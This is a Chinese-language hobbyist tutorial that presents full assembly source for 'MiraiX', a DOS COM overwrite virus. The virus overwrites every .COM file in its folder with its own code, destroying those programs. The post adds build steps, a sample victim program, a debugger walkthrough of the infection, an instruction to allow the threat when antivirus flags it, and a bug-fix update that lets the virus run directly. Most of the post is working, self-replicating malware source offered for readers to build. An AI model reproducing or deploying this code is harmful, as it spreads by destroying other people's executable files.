[#] 警告: 以下內文有大量的組合語言內容,
至少,需要看的懂上一篇的Hello World的原始碼。
Hi~ Hi~ 終於又見面啦 !
今天要帶給各位的是組語的COM Infector 。
講白了,就是會感染COM執行檔的程式,
而其最為常見的形式可分為三大類:
其個別的定義,
窩就直接設在超連結內以方便諸君查看,
其實真的很酷啦,
畢竟他們都有超她媽有創意的感染手法。
至於為什麼這篇會拖那麼久呢~
主要是因為Debug的過程一直出問題,
再加上我有堅持"不使用自己不懂的程式碼",
為了能看懂裡面每行的意思真的是有夠痛苦的說....
但★是★呢★
只要能夠跨越那條世界線,
一切都會輕鬆了不少呦 !!(^ω^)
而今天呢~
就來介紹三者之中最為基本的Overwrite Virus吧 !!
UMU !! 廢話不多說,直接上原始碼啦:
[#] MiraiX, Overwrite Virus, Assembly Ver
[#] Coded by Falsedeer(虛鹿)@巴哈姆特
.model tiny ;compile into a COM file
.386
.CODE
ORG 100h
FNAME EQU 9Eh
start:
mov ah, 4Eh ;4E - Search for the first match
xor cx, cx ;CX - attribute to use in search ;DX - search pattern
mov dx, OFFSET target
int 21h
search:
jc done ;jump if carry flag = 1(C = 1)
mov ah, 3Dh ;3D - Open the file
mov al, 2 ;al - intruction type ;DX - name of file
mov dx, FNAME ;return AX as file handle
int 21h
xchg ax, bx ;40 - Write to file
mov ah, 40H ;BX - file handle ;CX - bytes to write
mov cx, 53 ;DX - buffer area
mov dx, 100H
int 21h
mov ah, 3EH ;3E - Close a sussecfly opened file
int 21h ;BX - file handle
mov ah, 4Fh ;4F - search for the next match
int 21h ;carry flag clear if successful
jmp search
done:
mov ah, 4Ch
int 21h
target db "*.COM",0
end start
[#]常見疑問:
---------------------------------------------
Q1. 要 compile 成EXE還是COM?
Ans: COM
---------------------------------------------
Q2. mov ah, xxh 及 int 21h 是甚麼?
Ans: 這是上一篇提到的 Dos interupt,
我只是用了更多funtion而已。
---------------------------------------------
Q3. 為什麼要 .Model tiny ?
Ans: 那是COM執行檔的記憶體模型。
---------------------------------------------
Q4. 為什麼要 ORG 100h ?
Ans: 指定執行程式時的記憶體地址,
而100h是專屬COM檔的地址。
---------------------------------------------
Q5. 為什麼沒有把Data Segment放入DS?
Ans: COM檔的CS=DS=SS=ES,
因此不必指定Data的位置。
(如果指定,編譯就會出錯)
---------------------------------------------
Q6. 裡面為麼要動那麼多暫存器?
Ans: 這些都是依Dos Interupt規定設定的,
畢竟要使用功能,就需要設定參數,
詳見超完整的Int 21h表。
---------------------------------------------
Q7. 怎麼製作COM檔?
Ans: 請去虛鹿的Github下載TASM的備份,
並使用Dosbox執行:
tasm miraix
tlink /t miraix
---------------------------------------------
把MiraiX編譯成COM執行檔後,
我們會需要一個擔任受害者的程式,
因此就先寫個簡單的COM程式。
[#] Target.asm 原始碼:
.model tiny
.386
.CODE
ORG 100h
start:
mov ah, 09h
mov dx, OFFSET msg1
int 21h
mov dx, OFFSET msg2
int 21h
mov ah, 4ch
int 21h
msg1 db "I am the target file~XD",13,10,"$"
msg2 db "Coded by Falsedeer, 02/17/22$"
end start
記得一樣把他Compile成Target.COM。
最後進入實測階段啦 !!
而沒意外的話,在完成Compile不久後,
你的Window Defender會噴出來,
記得要允許威脅。
接著,
把MiraiX跟Target拉入TASM的資料夾,
並用Dosbox mount該磁碟,
再切換到該位置。(Ex. mount d D:\\TASM)
先執行Target.COM確認其被感染前的樣子,
沒意外的話,會看到以下的輸出結果:
執行看看 td target.com 進入turbo debugger,
看一眼被感染前的記憶體狀態。
退出後,
執行 td miraix.com 再次進入turbo debugger,
(Windows會擋,所以無法透過指令列執行。)
去手動去執行MiraiX。
然後,
退出td,執行看看Target.COM ,
這時候你便會發現Target已經失靈了,
不會再印出原本該有的字串。
執行 td target.COM,把它丟入Debugger,
便可發現它整個已經變成 MiraiX的形狀了。
把Target.COM上傳至Virus Total,
便可發現它會被識別為"病毒"。
原因是MiraiX用自身覆寫了Target,
把自己寄生在Target.COM之中。
而在下次執行Target.COM時,
便可以產生感染其他檔案的效果。
好啦,今天就先講到這邊,
所有的原始碼及超連結還請諸君安心使用。
MiraiX只會感染自身資料夾中所有的COM檔,
因此不必替地使用VMWare去試驗呦!!
\(≧▽≦)/
———————————————————-
[#]更一:
其實MiraiX不必要在debugger中執行,
是我程式寫錯了。
只要把 target db “*.COM$” 改成 “*.COM”,0
就可以在Dosbox中用 “miraix” 快樂執行。
剛剛查過了,
”$” 的字串結尾,
僅限呼叫Dos function 09h 才需要而已,
一般用 “,0” 就行了。